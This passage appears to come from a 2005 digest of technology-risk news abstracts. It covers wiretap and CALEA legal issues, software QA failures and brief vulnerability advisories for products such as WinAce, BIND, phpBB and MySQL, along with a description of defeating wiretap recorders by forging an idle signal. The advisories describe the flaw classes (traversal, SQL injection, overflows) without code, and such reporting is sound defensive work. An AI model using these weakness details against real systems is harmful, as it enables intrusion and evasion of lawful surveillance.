The technology used for decades by law enforcement agents to wiretap telephones has a security flaw that allows the person being wiretapped to stop the recorder remotely, according to research by computer security experts who studied the system. It is also possible to falsify the numbers dialed, they said. Someone being wiretapped can easily employ these countermeasures with off-the-shelf equipment, said the lead researcher, Matt Blaze, an associate professor of computer and information science at the University of Pennsylvania. "This has implications not only for the accuracy of the intelligence that can be obtained from these taps, but also for the acceptability and weight of legal evidence derived from it," Blaze and his colleagues wrote in a paper that was published Wednesday, November 30, in *Security & Privacy*, a journal of the Institute of Electrical and Electronics Engineers. To defeat wiretapping systems, the target need only send the same "idle signal" that the tapping equipment sends to the recorder when the telephone is not in use. The target could continue to have a conversation while sending the forged signal. Despite this, the FBI says the vulnerability exists in only about 10 percent of state and federal wiretaps today. "Signaling Vulnerabilities in Wiretapping Systems" by Blaze, et al: <http://www.crypto.com/papers/wiretapping/>

1D3

Litigation, legal rulings, judgements affecting law enforcement

Category 1D3

2005-05-28

*Litigation, legal rulings, judgements affecting law enforcement***encryption software evidence trial court proceeding intentionality reaction response hysteria exaggeration excessive**

RISKS;

23

90

http://www.theregister.co.uk/2005/05/25/pgp_admissible_child_abuse_case/

BROUHAHA OVER ENCRYPTION AS EVIDENCE OF ILL-INTENT

An eruption of emotion resulted when a Minnesota judge ruled that the presence of encryption software on the computer of a man accused of child abuse (soliciting a minor for lewd photographs) was relevant to the prosecution's case. Although one can reasonably express skepticism about the wisdom of the court's ruling or question their understanding of the availability and acceptance of encryption software, some people responded with comically exaggerated emotion. One contributor to RISKS labeled his missive "Encryption Illegal in Minnesota" -- which was plainly nonsense. The summary from *The Register* was as follows:

>The Minnesota State Court of Appeals has rejected an appeal from David Levie on charges of soliciting a nine-year-old girl to pose for naked pictures, ruling that the prosecution's introduction of an encryption program on his computer as evidence was admissible. During a search of his computer, police found the PGP (Pretty Good Privacy) encryption program. Levie's lawyers argued that forensic examination yielded no evidence of any encrypted files on his computer and so the presence of encryption software should not be used as evidence against Levie. One police officer testified that PGP may be included with every Apple computer on the market. The appeals court ruled that the presence of encryption software was relevant to the prosecution's case and refused to order a retrial, though the case will be sent back for re-sentencing. The case could establish a precedent in Minnesota of accepting the presence of encryption software as evidence of criminal intent.<

Category 1D3

2005-09-10

*Litigation, legal rulings, judgements affecting law enforcement***civil liberties privacy concerns USA PATRIOT Act FBI ACLU ruling**EDUPAGE; <http://www.nytimes.com/2005/09/10/nyregion/10library.html>

FBI LOSES ROUND ONE

A federal judge has handed the FBI a preliminary defeat in its efforts to continue to suppress information about an investigation of a Connecticut institution. The institution, whose identity has been kept confidential under the terms of the USA PATRIOT Act, and the American Civil Liberties Union (ACLU) sued the FBI for the right to disclose the institution's identity. Judge Janet C. Hall agreed with the plaintiffs, saying that under the FBI's position, "the very people who might have information regarding investigative abuses and overreaching are peremptorily prevented from sharing that information with the public." Hall did grant a stay of her ruling, however, giving federal authorities until September 20 to try to persuade the Court of Appeals to overturn the ruling. If the appeals court takes no action by then, the plaintiffs are free to disclose the institution's identity.

Watching the case closely are groups critical of the PATRIOT Act, who have long argued that the law grants federal authorities excessive investigative powers at the expense of civil liberties.

New York Times, 10 September 2005 (registration req'd)

Category 1D3

2005-09-26

*Litigation, legal rulings, judgements affecting law enforcement***FCC VoIP wiretap decision police civil liberties privacy concerns CALEA**EDUPAGE; http://news.zdnet.com/2100-1035_22-5883032.html

FCC ISSUES VOIP DECISION; QUESTIONS REMAIN

The Federal Communications Commission issued a decision that any voice over Internet protocol (VoIP) provider linked to the public telephone network must comply with a set of rules making it easier for police to seek and obtain wiretaps. The affected companies must meet these requirements by spring 2007. Still undecided is what the Communications Assistance for Law Enforcement Act (CALEA) ruling means for universities, nonprofits, companies, and individuals offering wireless or other forms of Internet access. The regulation is based on the argument that CALEA's definition of "telecommunications carrier" applies to broadband and VoIP providers. The FCC plans to issue another decision on the subject by the end of the year.

ZDNet, 26 September 2005

Category 1D3 *Litigation, legal rulings, judgements affecting law enforcement*
2005-10-22 **surveillance law enforcement universities academia communications Internet
service providers ISPs cities municipalities counter-terrorism lawsuits**

RISKS; <http://tinyurl.com/aumy4> 24 08

UNIVERSITIES RESIST US GOVERNMENT DEMANDS FOR SURVEILLANCE HOOKS

The federal government, vastly extending the reach of an 11-year-old law, is requiring hundreds of universities, online communications companies and cities to overhaul their Internet computer networks to make it easier for law enforcement authorities to monitor e-mail and other online communications. The action, which the government says is intended to help catch terrorists and other criminals, has unleashed protests and the threat of lawsuits from universities, which argue that it will cost them at least \$7 billion while doing little to apprehend lawbreakers. Because the government would have to win court orders before undertaking surveillance, the universities are not raising civil liberties issues.

The order, issued by the Federal Communications Commission in August and first published in the Federal Register last week, extends the provisions of a 1994 wiretap law not only to universities, but also to libraries, airports providing wireless service and commercial Internet access providers. It also applies to municipalities that provide Internet access to residents, be they rural towns or cities like Philadelphia and San Francisco, which have plans to build their own Net access networks. So far, however, universities have been most vocal in their opposition.

The 1994 law, the Communications Assistance for Law Enforcement Act, requires telephone carriers to engineer their switching systems at their own cost so that federal agents can obtain easy surveillance access.

[Abstract by Peter G. Neumann]

Category 1D3 *Litigation, legal rulings, judgements affecting law enforcement*
2005-10-23 **FCC CALEA ISP higher education libraries expense**

EDUPAGE; <http://www.nytimes.com/2005/10/23/technology/23college.html>

HIGHER EDUCATION RESPONDS TO CALEA ORDER

The higher education community is preparing several responses to an order by the Federal Communications Commission to extend the provisions of the Communications Assistance for Law Enforcement Act (CALEA) to Internet service providers, including institutions of higher education, libraries, and municipalities that provide Internet access. The order would require covered entities to configure their networks to allow law enforcement officials--with the authority of a court order--to tap into data streams remotely. Currently, such taps typically require the assistance of network personnel. Making networks compliant with the new regulations would in most cases require significant investment in new switches and routers, and higher education officials contend that the expense would not be justified by the number of taps placed on their networks. By some accounts, U.S. colleges and universities would incur costs of at least \$7 billion to redesign their networks. Those seeking an exception from CALEA for education noted that in 2003, just 12 of nearly 1,500 wiretap orders were issued for computer networks. Representatives of higher education are working on responses including appeals, possible lawsuits, and negotiations with federal officials. Higher education officials said that the objection is not with providing appropriate assistance to law enforcement but that lower-cost solutions would provide the needed capability without placing a large financial burden on colleges and universities and their students. New York Times, 23 October 2005 (registration req'd)

21.1 General QA failures

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-01-01		quality assurance QA failure credit card payments overcharge reimbursement drug store		

RISKS; <http://www.latimes.com/business/la-fi-rup1.4jan01,1,4107985.story> 23 65

SPECIAL DEAL AT WALGREEN -- DOUBLE YOUR CHARGES

Monty Solomon reported in RISKS on a software glitch:

Walgreen Co., the largest U.S. drugstore chain, accidentally overcharged as many as 4 million customers buying gifts and decorations the two days before Christmas because its payment-processing system malfunctioned from overuse. Walgreen discovered the error on Christmas Day and electronically reimbursed customers whose credit or debit cards had been incorrectly double- and triple-charged, said company spokesman Michael Polzin. Some credits may not post on customers' accounts until early next week, he said.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-01-04		quality assurance QA failure rate vehicle toll system satellite GPS		

RISKS; <http://www.spiegel.de/wirtschaft/0,1518,335367,00.html> 23 65

BUGGY GERMAN TOLL-COLLECTION SYSTEM FOR BUGGIES

On 1 Jan 2005, the German government introduced an automated toll-collection system for truckers. Dr Debora Weber-Wulff, Professor of Media and Computing at the Fachhochschule für Technik und Wirtschaft (University of Applied Sciences) in Berlin relayed a report to RISKS from Der Spiegel that there were significant errors: "10 % of all attempts to use the system ended in failure or in people just not paying the toll. The system started with just 320.000 'On-Board Units' (OBU) installed that calculate the tolls using a complicated, satellite-based scheme. If a trucker does not have an OBU they must either purchase a ticket by mobile phone (costly) or at a toll booth in a rest stop. The problems here are that many truckers do not know exactly what exit they will be getting off at. In addition, if there is a traffic jam or other problems and they have to take a detour, they must change their toll ticket."

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-01-04		quality assurance QA design flaw automated welfare payment banking direct deposit		

RISKS; <http://www.heise.de/newsticker/meldung/54690> 23 65

GERMAN DIRECT DEPOSIT DOESN'T

On 1 Jan 2005, the German government introduced a new system for direct deposit of social welfare payments. Dr Debora Weber-Wulff, Professor of Media and Computing at the Fachhochschule für Technik und Wirtschaft (University of Applied Sciences) in Berlin reported in RISKS that about 5% of the recipients received no payments because their older account numbers had fewer than the expected 10 digits. Apparently "The program was of course supposed to put in *leading* zeros, for example <0012345678>. Instead, the zeros were added at the end (1234567800) causing the payments to be unassignable to the recipient." The search for the guilty began immediately, with the software company involved, T-Systems, immediately blaming the government for supplying bad data.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>			
2005-01-06		quality assurance QA design flaw procedures employees fail-safe fall-back			
RISKS; http://www.boingboing.net/2005/01/05/a_kafka_day_at_the_l.html			23		66
YOU CAN'T GET THERE FROM HERE					

Mark Frauenfelder reported on a Kafkaesque response to a software design flaw in Los Angeles, CA. When a police officer forgot to enter the date on a moving traffic violation ticket, the city computer system was unable to register the ticket. A bureaucrat at the ticket office informed the driver that she would have to call the office every single workday to find out when the ticket finally did get registered, then drive down immediately to pay the fine -- which would include penalties for late payment. Paying the ticket before the computer system registered it was impossible. Paying the ticket "late" would result in an increase in car insurance premiums.

In a follow-up posting, Paul Robinson suggested contacting city attorneys to "ask them to agree to dismiss the charge and not prosecute this particular ticket because the case office is not posting the ticket and you can't be put in a position where you are 'twisting, turning in the wind,' waiting for an unknown and unknowable filing to be made which places you in jeopardy of even more serious criminal penalties when you can't get the current one resolved." Failing that, Mr Robinson advised suing the District Attorney's office "for a writ of mandamus prohibiting them from prosecuting the original ticket. You may even be able to sue for damages but I think all you're interested in is to get rid of the matter, either by converting it off of a moving violation or getting it dismissed. I don't think it would be that difficult to file for an order even without a lawyer since you're only trying to solve the problem and the government, by its incompetence or misconduct is placing you in a position in which you are being denied the right to a constitutionally guaranteed speedy trial and quite possibly to equal protection and possibly other issues. Even if you don't get the order you've got grounds to have any potential penalty for not paying the ticket and not appearing canceled."

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>			
2005-01-06		WinAce GZIP ZIP vulnerability directory traversal attack			
DHS IAIP Daily; http://seunia.com/advisories/13734/					
WINACE GZIP AND ZIP DIRECTORY TRAVERSAL VULNERABILITY.					

A vulnerability has been reported in WinAce 2.5, which potentially can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to an input validation error when extracting files compressed with GZIP (.gz) or ZIP (.zip). This makes it possible to have files extracted to arbitrary locations outside the specified directory using the "../" directory traversal sequence. There is no solution at this time.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>			
2005-01-15		quality assurance QA map software Microsoft MapPoint directions long trip Norway			
RISKS			23		67
TAKE THE LONG WAY HOME					

Two RISKS contributors pointed out a flaw in Microsoft's map software; Adam Shostack's report is as follows (and is entitled "MapPoint Explains Vikings?":

When going from Haugesund, Rogaland, Norway, to Trondheim, So-Trondelag, Norway, be aware that following Microsoft MapPoint's directions, will take you through England, France, Belgium, the Netherlands, Germany, Denmark, Sweden, and finally back into Norway. While this may be culturally sensitive and respectful of historic Viking routing, rooting, or looting, it is somewhat less efficient than other routes, as a quick glance at a map will show.

Start: Haugesund, Rogaland, Norway

End: Trondheim, So-Trondelag, Norway

Total Distance: 1685.9 Miles, Estimated Total Time: 47 hours, 31 minutes
(This is listed as the "quickest" route.)

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-01-15		quality assurance QA software design flaws list		
RISKS; http://asktrog.com/Bughouse/index.html			23	67
SOFTWARE ENGINEERING TIPS				

Peter Ludemann contributed these pointers to bad software design in RISKS:

Bruce Tognazzini has started collected well-known bugs at <http://asktrog.com/Bughouse/index.html> ... many of these have shown up before in Risks, such as "Harassing Confirmations & Missing Confirmations" and "'Smart' functions that aren't smart".

Readers might also enjoy (if that's the right word) Tognazzini's article on Security D'ohls:
<http://asktrog.com/columns/058SecurityD'ohls.html> and an older article on how inconvenience and security are confused:
<http://asktrog.com/columns/051AirSecurity.html>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-01-24		DatarDataRescue Interactive Disassembler Pro (IDA Pro) buffer overflow vulnerability privilege escalation attack		

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0059>

DATARESUCE INTERACTIVE DISASSEMBLER PRO (IDA PRO) BUFFER OVERFLOW

A vulnerability has been identified in IDA Pro that could be exploited by attackers to execute arbitrary code with the privileges of the logged in user. The stack based overflow problem occurs when parsing long PE import library names. This flaw can be exploited by convincing a user to open a malicious Portable Executable file with a vulnerable version of IDA Pro, which may potentially lead to a system compromise.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-01-24		system configuration boot device printer USB drive documentation design denial of service DoS		
RISKS			23	68

BOOT THE PRINTER OFF THE SYSTEM TO BOOT

Lindsay Marshall had an interesting observation in RISKS about the unexpected consequences of two configuration parameters:

A neighbour of mine just bought a new Epson printer and were trying to install it on their laptop. They had a problem : they rebooted their system and it said "Not a system disk". They gave me a call and I wandered up to have a look. I hit a few keys and suddenly it booted again. Odd I thought (not having noticed a crucial event!). I got in as Administrator and installed the software for them and we connected up the printer and rebooted. "Not a system disk". I thought for a bit and looked in the BIOS and lo and behold, the first boot item was a USB disc, and the printer does indeed have a USB disc feature so that you can access camera memory cards via the printer. Unplug the printer and the system boots fine, plug it and no dice. (What I hadn't noticed above was that my neighbour had unplugged the printer from the USB as I was hitting keys.)

How could anyone expect everyday users with no experience of systems internals to deal with a situation like that? Why should a printer look like a disc anyway (at least by default), and why have the default BIOS setting to boot from USB first? A disaster waiting to happen and it happened.

Category 21.1 General QA failures
2005-01-26 **automobile operating system virus cell phone Bluetooth access control design flaw quality assurance QA**

RISKS; <http://tinyurl.com/5p3jh> 23 70
INFECTING CARS VIA CELL PHONES?

Karl Klashinsky noted a serious problem with software that has no security provisions:

The topic of software flaws in the embedded systems within modern automobiles has been discussed in RISKS several times. But here's a new twist (to me, at least), a case where the on-vehicle software is corrupted by a virus, inserted into the automobile's computing systems, via a blue-tooth enabled cell-phone.

Peter Neumann commented:

There's the obvious risk here... a vehicle can be infected by the cell-phone in the vehicle next to you while stopped in traffic or sitting in a parking lot. As this vulnerability becomes known in the cracker community, how long before someone tailors a virus specific to a vehicular target -- perhaps creating runaway-vehicle scenarios similar to the "faulty cruise control" incidents reported here in RISKS.

Category 21.1 General QA failures
2005-01-26 **ISC BIND 8.x / 9.x remote denial of service vulnerabilities denial of service DoS update issued**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0064>
ISC BIND 8.X / 9.X REMOTE DENIAL OF SERVICE VULNERABILITIES

Two vulnerabilities have been reported in ISC BIND 8.4.4, 8.4.5, and 9.3.0, which could be exploited by attackers to cause a Denial of Service. The first flaw affects BIND 8.x and results from a buffer overrun error when using a certain array to track nameservers/addresses, which may be exploited by a remote attacker to cause a Denial of Service. The second issue is present in the self-check function of BIND 9.x, and may be exploited to cause a Denial of Service. Upgrade to BIND version 8.4.6 or 9.3.1: <http://www.isc.org/sw/bind/>

Category 21.1 General QA failures
2005-01-27 **Openswan Pluto buffer overflow vulnerability code execution attack**

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jan/1013014.html>
OPENSWAN PLUTO GET_INTERNAL_ADDRESSES() REMOTE BUFFER OVERFLOW LETS REMOTE AUTHENTICATED USERS EXECUTE ARBITRARY CODE

Openswan has a buffer overflow vulnerability; a remote authenticated user may be able to execute arbitrary code on the target system. A remote authenticated user can execute arbitrary code on the target system with the privileges of the 'pluto' process. The vendor has released fixed versions (1.0.9 and 2.3.0), available at: <http://www.openswan.org/code/>

Category 21.1 General QA failures
2005-02-01 **quality assurance QA bug glitch matching algorithm medical residents hospitals students mismatch**

RISKS; <http://blogborygmi.blogspot.com/2005/01/selection-dysfunction.html> 23 71
MEDICAL STUDENTS MISMATCHED TO HOSPITALS

In a serious problem for medical students, a program used to match student preferences with hospital preferences failed for urology residencies in January 2005. As a result of the error in the computer program, the match had to be re-run a few days after the first (wrong) run, causing disruption for residents who had already began to make their plans to move to distant cities.

RISKS correspondent Daniel Kahn Gillmor commented, "So, why wasn't a human reviewing the results of the match for reasonableness before publication? Why aren't the algorithms used in the match process freely available? What safeguards are there on the data-entry step (since GIGO continues to apply)? Why isn't there an audit process in place?"

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-02-02		hardware failure CD scratch damage drive shatter break design control
RISKS		23 71

HIGH-SPEED CD-DRIVES SHATTER DAMAGED DISKS

Henk Langeveld reported on a disturbing interaction of damaged CDs and new high-speed CD-drives:

I've had the nasty experience to have lost four CD's to newer high-speed CD and DVD-drives within a year.

The current state of technology will run CDs and DVDs at high speeds, and the centrifugal force of the drive increases the risk of any scratch on the media to result in one broken CD, and one ruined drive.

Peter G. Neumann added:

[Drew Dean commented to me on this: ``I believe programs such as Exact Audio Copy (EAC) do slow down the drive, and most CD/DVD burning software can write at slower speeds, but I'm not aware of any interface to tell an OS to always slow down reading." PGN]

In follow-up postings in RISKS 23.72, Eben King and Jonathan King and others provided helpful suggestions and links for utilities that can slow down fast CD-ROM drives.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-02-11		Avaya vendor product multiple vulnerabilities privilege escalation cross site scripting phishing information disclosure system compromise attacks

DHS IAIP Daily; <http://secunia.com/advisories/14210/>

AVAYA VARIOUS PRODUCTS MULTIPLE VULNERABILITIES.

Avaya has acknowledged some vulnerabilities in various products, which can be exploited by malicious, local and remote users. Exploitation of these vulnerabilities can be used to bypass certain security restrictions and gain escalated privileges, conduct cross-site scripting and phishing attacks, disclose sensitive information, and compromise a vulnerable system. Solution available at: http://support.avaya.com/elmodocs2/security/ASA-2005-037_MS0 5-004-MS05-015.pdf

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-02-16		Typeseed vulnerability privilege escalation attack no update issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013218.html>

TYPESPEED VULNERABILITY LOCAL USERS GAIN ELEVATED PRIVILEGES

A format string vulnerability was reported in typeseed that could permit a local user to gain elevated privileges on the target system. A sprintf() call is made in 'file.c' without the appropriate format string specifier when processing data from the HOME environment variable. A local user can set the HOME environment variable to a specially crafted value to execute arbitrary code with 'games' group privileges. No solution is currently available.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-02-16		K Desktop Environment KDE open source X-Windows buffer overflow vulnerability root privileges code execution attack update issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013217.html>

KDE BUFFER OVERFLOW REMOTE ACCESS VULNERABILITY.

A buffer overflow vulnerability was reported in KDE in the 'fliccd' component of KDE-Edu, KStars, and INDI. A local user can obtain root privileges and a remote user may be able to gain access to the system. A local user can trigger several buffer overflow vulnerabilities in fliccd to execute arbitrary code on the target system. The Instrument Neutral Distributed Interface (INDI) support installs fliccd with set user id (setuid) root user privileges. As a result, a local user can gain root privileges. If the fliccd daemon is running (which is not the default configuration), then a remote user can gain access to the target system, potentially with root privileges. The vendor has issued a patch for 3.3.2, available at: ftp://ftp.kde.org/pub/kde/security_patches

Category 21.1 General QA failures

2005-02-16 DCP-Portal SQL injection vulnerability command execution no update issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013216.html>

DCP-PORTAL SQL INJECTION VULNERABILITY

Several input validation vulnerabilities were reported in DCP-Portal that could permit a remote user to inject SQL commands. The 'index.php' and 'forums.php' scripts do not properly validate user-supplied input in several parameters. If magic_quotes_gpc is set to off in the 'php.ini' configuration file, then a remote user can submit a specially crafted HTTP request to execute SQL commands on the underlying database. No solution is currently available.

Category 21.1 General QA failures

2005-02-22 GProFTPD file transfer protocol remote format string vulnerabilities command execution attack update issued

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0190>

GProFTPD "gprostats" remote format string vulnerability.

A new vulnerability was reported in GProFTPD, which may be exploited by remote attackers to execute arbitrary commands. The problem is due to a format string error in the "gprostats" utility when parsing ProFTPD transfer logs, which may be exploited to compromise a system by performing a specially crafted FTP transfer. Update to version 8.1.9: <http://mange.dynup.net/linux/gproftpd/gproftpd-8.1.9.tar.gz>

Category 21.1 General QA failures

2005-02-24 Cyrus IMAP server buffer overflow vulnerabilities code execution attack update issued

DHS IAIP Daily; <http://secunia.com/advisories/14383/>

CYRUS IMAP SERVER BUFFER OVERFLOW VULNERABILITIES

Multiple vulnerabilities have been reported in Cyrus IMAP Server, which potentially can be exploited by malicious people to compromise a vulnerable system. These are due to off-by-one boundary errors. Successful exploitation may allow execution of arbitrary code. Update to version 2.2.11 or later: <http://asg.web.cmu.edu/cyrus/download/>

Category 21.1 General QA failures

2005-02-26 identification authentication I&A Web form business registration fraud

RISKS

23

77

CALIFORNIA LETS ANYONE FILL IN CORPORATE INFORMATION "CORRECTIONS"

Geoff Kuenning discovered that California corporation regulations require business owners to file registration information -- which can be done online. Unfortunately, there is no authentication of the identity proposed by a user, so anyone can damage the registration of any California-registered company for a \$25 fee. Mr Kuenning reports that such companies happen to include Microsoft.

Category 21.1 General QA failures

2005-02-28 phpBB PHP bulletin board vulnerabilities installation path discovery

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0212>

PHPBB ADMINISTRATOR SESSION HANDLING CRITICAL SECURITY UPDATE

Two vulnerabilities were reported in phpBB, which may be exploited by attackers to determine the installation path or bypass certain security features. The first problem resides in the "autologinid" (includes/sessions.php) variable and could be exploited by malicious users to gain administrator rights. The second flaw resides in the "viewtopic.php" script, and could be exploited to disclose the webroot path. Update to version 2.0.13: <http://www.phpbb.com/downloads.php>

Category 21.1

General QA failures

2005-03-02

RealPlayer WAV SMIL stack based buffer overflows file handling vulnerabilities code execution attack update issued

DHS IAIP Daily; <http://secunia.com/advisories/14456/>

REALPLAYER WAV AND SMIL FILE HANDLING BUFFER OVERFLOWS.

Two vulnerabilities have been reported in various RealNetworks products, which can be exploited by malicious people to compromise a user's system: 1) A boundary error within the processing of WAV files can be exploited to cause a buffer overflow via a specially crafted WAV file; and 2) A boundary error within the processing of SMIL files can be exploited to cause a stack-based buffer overflow via a specially crafted SMIL file. Successful exploitation of the vulnerabilities allows execution of arbitrary code. Updates available at: http://service.real.com/help/faq/security/050224_player/EN/

Category 21.1

General QA failures

2005-03-02

Cproxy input validation vulnerability directory traversal file disclosure service crash denial of service DoS no update issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Mar/1013359.html>

CPROXY INPUT VALIDATION VULNERABILITY

Several vulnerabilities were reported in CProxy. A remote user can view files on the target system and cause the service to crash. The server does not properly validate user-supplied input. A remote user can submit a specially crafted URL containing '../' directory traversal characters to view arbitrary files on the target system. There is no solution at this time.

Category 21.1

General QA failures

2005-03-02

Computer Associates CA License multiple buffer overflow vulnerabilities code execution attack updates issued

DHS IAIP Daily; <http://www.idefense.com/application/poi/display?type=vulnerabilities>

COMPUTER ASSOCIATES LICENSE CLIENT/SERVER MULTIPLE BUFFER OVERFLOW VULNERABILITIES

Remote exploitation of buffer overflow vulnerabilities in Computer Associates License Server and License Client can allow attackers to execute arbitrary code. The vulnerabilities exist due to insufficient bounds checking on user-supplied values in GETCONFIG and GCR requests. Updates available at: http://supportconnect.ca.com/public/ca_common_docs/security_notice.asp

Category 21.1

General QA failures

2005-03-03

CA Unicenter Asset Management software input validation vulnerabilities password disclosure code execution attack updates issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Mar/1013360.html>

CA UNICENTER ASSET MANAGEMENT INPUT VALIDATION VULNERABILITIES

A remote authenticated user with access to the administrative console can obtain the SQL administrator password, displayed (in masked form) on the 'Change Credentials for Database' window. A remote authenticated user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Unicenter Asset Management software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. Vendor advisory and updates available at: http://supportconnect.ca.com/sc/solcenter/solresults.jsp?apa_rno=QO64323

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-03-07		X11 libXpm XPM image buffer overflow vulnerability system compromise code execution attack update issued

DHS IAIP Daily; <http://secunia.com/advisories/14460/>
X11 LIBXPM XPM IMAGE BUFFER OVERFLOW VULNERABILITY

A vulnerability has been reported in libXpm, which potentially can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to boundary errors in "GetImagePixels()" and "PutImagePixels()". This may be exploited to cause a buffer overflow when a specially crafted XPM image file is processed. Successful exploitation may potentially allow execution of arbitrary code. The vulnerability has been fixed in the CVS repository.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-03-09		Novell iChain GUI Mini FTP server multiple vulnerabilities administrative access unlimited logins update issued

DHS IAIP Daily; <http://www.securitytracker.com/archives/summary/9000.html>
NOVELL ICHAIN MULTIPLE VULNERABILITIES.

Multiple vulnerabilities were reported in Novell iChain GUI and Novell iChain Mini FTP Server. A remote user can gain administrative access, make unlimited login attempts without being locked out, or determine the installation path. Original advisories and updates available at: <http://support.novell.com/cgi-bin/search/searchid.cgi?/1009 6885.htm> and <http://support.novell.com/cgi-bin/search/searchid.cgi?/1009 6886.htm> and <http://support.novell.com/cgi-bin/search/searchid.cgi?/1009 6887.htm>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-03-10		software quality assurance QS update error denial of service DoS underground railway subway tube train data corruption flaw bug

RISKS 23 79

OYSTER CARD FAULT CAUSES PROBLEMS ON LONDON UNDERGROUND

"Automatic updates cause journey renewal problems"
by Daniel Thomas, *Computing*, 10 Mar 2005

Londoners were faced with travel problems this morning after an IT error meant hundreds of commuters could not renew journeys on their Oyster card.

The error, which affected the whole of the London Underground (LU) and Docklands Light Railway (DLR), was caused when an overnight electronic updating process went wrong.

Transport for London (TfL) and TranSys - the consortium that operates the Oyster card scheme - automatically updates the system each night to add new records and block stolen and canceled cards.

But a glitch in the system early this morning means commuters are unable to use machines at Underground or DLR station this morning to add new journeys onto the smart cards.

'Every morning information goes out about stopped cards and it was an error in the data that caused the problem,' said a spokeswoman for TranSys.

Passengers that have already paid for their journey or using prepay can still use the system as normal.

TfL and TranSys identified the error at 4am this morning and starting issuing a fix to the problem by 8.30am.

'We hope everything to be up and running again by the end of the morning,' said the TranSys spokeswoman. 'We are now looking into what actually caused the error and ways of ensuring this doesn't happen again.'

Category 21.1 General QA failures
2005-03-11 **MySQL multiple remote vulnerabilities remote authenticated attacker privilege escalation updates issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/12781/info/>

MYSQL AB MYSQL MULTIPLE REMOTE VULNERABILITIES

MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. MySQL is reported prone to an insecure temporary file creation vulnerability. It is also prone to an input validation vulnerability that can be exploited by remote users that have INSERT and DELETE privileges on the 'mysql' administrative database and may be leveraged to load and execute a malicious library in the context of the MySQL process. It is reported that the vendor has addressed these vulnerabilities in MySQL versions 4.0.24 and 4.1.10a. Users should consult <http://dev.mysql.com/downloads/> for availability of these downloads.

Category 21.1 General QA failures
2005-03-13 **MySQL MaxDB Web Agent multiple denial of service vulnerabilities input validation null pointer reference crash update issued**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0263>

MYSQL MAXDB WEB AGENT MULTIPLE DENIAL OF SERVICE VULNERABILITIES.

Several input validation errors have been identified in MySQL MaxDB and SAP DB Web Agent, which may be exploited by remote attackers to cause a Denial of Service. A remote attacker can request the function with invalid parameters to cause a null pointer dereference resulting in a crash of MySQL MaxDB Web Agent. Update to MySQL MaxDB 7.5.00.24: <http://dev.mysql.com/downloads/maxdb/7.5.00.html>

Category 21.1 General QA failures
2005-03-21 **Subdreamer Light global variables SQL injection vulnerability no update issued**

DHS IAIP Daily; <http://seunia.com/advisories/14652/>

SUBDREAMER LIGHT GLOBAL VARIABLES SQL INJECTION VULNERABILITY

A vulnerability in Subdreamer Light, which can be exploited by malicious people to conduct SQL injection attacks. Input passed to various global variables isn't properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation requires that "magic_quotes_gpc" is disabled. There is no vendor solution at this time.

Category 21.1 General QA failures
2005-03-23 **automobile car cruise control autopilot failure accident crash bug lockup freeze brakes ignition engine control**

RISKS

23

81

CRUISE-CONTROL TAKES BITS IN ITS TEETH?

Robert Scheidt reported on a serious problem and asked for clarification:

Recently in France a number of failures of "cruise control" systems especially on recent models of Renault made cars have been reported, some creating serious accidents (including a deadly one). In general it is reported that the car stays at his set speed and no matter what the driver does, including cutting the ignition and breaking, the car continues at that speed.

What's more surprising is that it is also reported that brakes become ineffective (the brake pedal resists pressure).

I could imagine that the cruise control being probably under control of some microprocessor, this microprocessor could "hang" due to some software problem and therefore that everything it controls just stays as it is. Especially in newer cars where fuel injection is completely electronically controlled (no mechanical link between the gas pedal and the fuel injection controls).

However, I have difficulties believing that the same microprocessor would control the brakes and make them ineffective. I wonder if somebody on this board has some insight on how the electronic controls of modern cars are designed and especially if a single component's failure (such as a common microprocessor) could affect multiple functions (e.g., acceleration and brakes).

There was a flurry of discussion in RISKS 23.82. Several correspondents confirmed that some automotive systems do in fact control brakes as well as speed.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-03-23		radio frequency identification devices RFID exploits vulnerabilities compromise privacy hole reverse engineering fraud theft		
RISKS; http://www.interesting-people.org/archives/interesting-people/			23	81
RSA FINDS MORE FLAWS IN RFID				

Jacqueline Emigh of eweek.com wrote:

